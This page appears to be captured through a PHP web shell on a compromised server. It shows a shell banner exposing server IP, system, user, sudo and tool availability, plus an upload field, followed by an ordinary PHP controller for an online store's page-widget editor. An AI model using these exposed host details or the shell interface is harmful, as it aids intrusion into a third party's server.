Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/theyoungdesigners_com/modules/storePages/controller/ |
Upload File : |
<?php
// login with paypal
class pages_controller extends Controller {
private $level;
private $user_id;
private $model_pages;
public function __construct() {
parent::__construct(dirname(__DIR__));
$this->level = isset($_SESSION['current_user']) ? (int) $_SESSION['current_user']['u_level'] : 0;
$this->user_id = isset($_SESSION['current_user']) ? (int) $_SESSION['current_user']['u_id'] : 0;
$this->model_pages = $this->LoadModel('pages_model');
}
public function __Register() {
$this->RegisterView(__CLASS__ .'::editor', ['storepages_view' => [
'store_page_editor',
'store_page_popup_category',
'store_page_popup_product',
'store_page_popup_static',
'store_page_popup_slideshow',
]]);
$this->RegisterView(__CLASS__ .'::store', ['storepages_view' => ['store_page_view'] ]);
}
/** staff */
public function editor($seller_id = -1) {
$res = $this->DefaultResult(__METHOD__);
$res['template'] = 'store_page_editor';
$res['auth'] = hook_execute('nonce.create', FALSE, 'pagetile', "$seller_id:new", 1800);
$this->model_pages->PageId($seller_id);
$res['view'] = $this->model_pages->uri();
$this->loadgrid($res);
// toolbar: select a widget to add
// slideshow, category icon, wide product icon, normal product icon
//
return $res;
}
/** staff */
public function action($action = '', $auth = '') {
$data = [];
if ($action == '') {
$action = $this->post('action', '');
$auth = $this->post('auth', '');
}
$id = hook_execute( 'nonce.verify', FALSE, 'pagetile', FALSE, $auth );
switch($action) {
case 'slideshow':
if ($id !== FALSE) { // edit an existing widget
[$seller_id, $uuid] = explode(':', $id);
$this->model_pages->PageId($seller_id);
$data = $this->model_pages->AsPopup($uuid, 'slideshow');
}
break;
case 'category':
if ($id !== FALSE) { // edit an existing widget
[$seller_id, $uuid] = explode(':', $id);
$this->model_pages->PageId($seller_id);
$data = $this->model_pages->AsPopup($uuid, 'category');
}
break;
case 'product':
if ($id !== FALSE) { // edit an existing widget
[$seller_id, $uuid] = explode(':', $id);
$this->model_pages->PageId($seller_id);
$data = $this->model_pages->AsPopup($uuid, 'product');
}
break;
case 'static':
if ($id !== FALSE) { // edit an existing widget
[$seller_id, $uuid] = explode(':', $id);
$this->model_pages->PageId($seller_id);
$data = $this->model_pages->AsPopup($uuid, 'static');
}
break;
case 'tile-trash':
if ($id !== FALSE) {
[$seller_id, $uuid] = explode(':', $id);
$this->model_pages->PageId($seller_id)
->DeleteWidget($uuid);
} else {
$seller_id = 0;
}
$this->redirect('/pages/editor/' . $seller_id);
break;
case 'tile-edit':
if ($id !== FALSE) { // edit an existing widget
[$seller_id, $uuid] = explode(':', $id);
$this->model_pages->PageId($seller_id);
$data = $this->model_pages->AsPopup($uuid);
}
break;
case 'set-category':
if ($id !== FALSE) { // edit new or existing widget
[$seller_id, $uuid] = explode(':', $id);
$this->model_pages->PageId($seller_id);
if ($uuid == 'new') $uuid = $this->model_pages->random();
$category_id = $this->post('category_id', 0);
$model = $this->loadModel('productgroup_model', 'store');
$model->RecordId($category_id);
$node = $model->AsHandleBars();
$media_id = $this->post('background', '');
$tile = [
'uuid' => $uuid,
'type' => 'category',
'layout' => trim($this->post('layout', '')),
'category_id' => $category_id,
'color_txt' => $this->post('color_txt', '#000000'),
'category_uri' => $this->post('category_uri', ''), // foreground image
'background' => $media_id,
'uri' => $node['uri'],
'caption' => $node['sc_caption'],
'featured' => intval($this->post('featured', '0')),
'w' => intval($this->post('w', '0')),
'h' => intval($this->post('h', '0')),
];
if ($tile['layout'] == 'list') {
$tile['w'] = 9;
$tile['h'] = 1;
}
$x = intval($this->post('x', '-1')); if ($x > -1) $tile['x'] = $x;
$y = intval($this->post('y', '-1')); if ($y > -1) $tile['y'] = $y;
$list = hook_execute('mediamanager.list', [], 'category');
$background_uri = '';
foreach($list as $item) {
if ($item['key'] == $media_id) {
$background_uri = $item['uri'];
break;
}
}
if ($background_uri != '') $tile['background_uri'] = $background_uri;
$this->model_pages->UpdateWidget($tile);
$this->loadgrid($data);
break;
}
break;
case 'set-product':
if ($id !== FALSE) { // edit new or existing widget
[$seller_id, $uuid] = explode(':', $id);
$this->model_pages->PageId($seller_id);
if ($uuid == 'new') $uuid = $this->model_pages->random();
$product_id = $this->post('product_id', 0);
$model = $this->loadModel('product_model', 'store');
$model->RecordId($product_id);
$node = $model->AsHandleBars();
$res = [ 'cart' => [ $node ] ];
$res = hook_execute('cart.display', $res);
$node = $res['cart'][0];
$tile = [
'uuid' => $uuid,
'type' => 'product',
'caption' => $node['sp_product'],
'product_id' => $product_id,
'desc' => trim($this->post('sp_desc', '')),
'product_override' => trim($this->post('product_override', '')),
'uri' => $node['uri'],
'price' => $node['price'],
'thumb' => $node['thumb'],
'w' => intval($this->post('w', '0')),
'h' => intval($this->post('h', '0')),
];
$x = intval($this->post('x', '-1')); if ($x > -1) $tile['x'] = $x;
$y = intval($this->post('y', '-1')); if ($y > -1) $tile['y'] = $y;
$this->model_pages->UpdateWidget($tile);
$this->loadgrid($data);
break;
}
break;
case 'set-slideshow':
if ($id !== FALSE) { // create new slideshow widget
[$seller_id, $uuid] = explode(':', $id);
$this->model_pages->PageId($seller_id);
if ($uuid == 'new') $uuid = $this->model_pages->random();
$slides = [];
if (isset($_POST['image'])) {
foreach($_POST['image'] as $key => $value) {
if (($value = trim($value)) !== '') {
$slides[] = [
'image' => $value,
'caption' => $_POST['caption'][$key],
'target' => $_POST['target'][$key],
];
}
}
}
$tile = [
'uuid' => $uuid,
'type' => 'slideshow',
'w' => intval($this->post('w', '0')),
'h' => intval($this->post('h', '0')),
'slides' => $slides,
];
$x = intval($this->post('x', '-1')); if ($x > -1) $tile['x'] = $x;
$y = intval($this->post('y', '-1')); if ($y > -1) $tile['y'] = $y;
$this->model_pages->UpdateWidget($tile);
$this->loadgrid($data);
break;
}
break;
case 'set-static':
if ($id !== FALSE) { // edit new or existing widget
[$seller_id, $uuid] = explode(':', $id);
$this->model_pages->PageId($seller_id);
if ($uuid == 'new') $uuid = $this->model_pages->random();
$tile = [
'uuid' => $uuid,
'type' => 'static',
'h' => intval($this->post('h', '0')),
'layout' => trim($this->post('layout', '')),
'caption' => trim($this->post('caption', '')),
'text' => trim($this->post('text', '')),
'color_txt' => trim($this->post('color_txt', '')), // for caption
'color_bkg' => trim($this->post('color_bkg', '')),
'image' => trim($this->post('image', '')),
'target' => trim($this->post('target', '')),
];
switch($tile['layout']) {
case 'c1t':
case 'c1i':
$tile['w'] = 3;
break;
case 'c5t':
case 'c5i':
$tile['w'] = 4;
break;
case 'c2t':
case 'c2i':
$tile['w'] = 6;
break;
case 'c3t':
case 'c3i':
$tile['w'] = 9;
break;
}
$x = intval($this->post('x', '-1')); if ($x > -1) $tile['x'] = $x;
$y = intval($this->post('y', '-1')); if ($y > -1) $tile['y'] = $y;
$this->model_pages->UpdateWidget($tile);
$this->loadgrid($data);
break;
}
break;
case 'layout':
if ($id !== FALSE) { // edit an existing widget
[$seller_id, $uuid] = explode(':', $id);
$this->model_pages->PageId($seller_id);
$items = $this->post('items', []);
$this->model_pages->reorderReposition($items);
$data['status'] = 1;
}
break;
}
header('Content-type: application/json');
die(json_encode($data, JSON_UNESCAPED_SLASHES));
}
// return updated json for grid
protected function loadGrid(&$data) {
$settings = $GLOBALS['loader']->LoadModuleSettings('store');
$data['priceformat'] = intval($settings['priceformat'] ?? '1');
$data['items'] = $this->model_pages->AsGrid();
}
/** everyone */
public function store($record_id = '') {
$res = $this->DefaultResult(__METHOD__);
if ($record_id == '') $record_id = -1;
$this->model_pages->PageId($record_id);
$product_model = $this->LoadModel('product_model', 'store');
// getCategoryInfo() will get all categories for all the product category widgets
$categories = $this->model_pages->getCategoryInfo();
$products = $product_model->getProductsByCategory( $categories );
$item = $this->model_pages->AsHandlebars($products);
$product_model->RecordId(0);
$settings = $GLOBALS['loader']->LoadModuleSettings('store');
$res['priceformat'] = intval($settings['priceformat'] ?? '1');
$res = array_merge($res, $item);
$res['template'] = 'store_page_view';
if ($this->level > 8) {
$res['edit'] = '/pages/editor/' . $record_id;
}
return $res;
}
}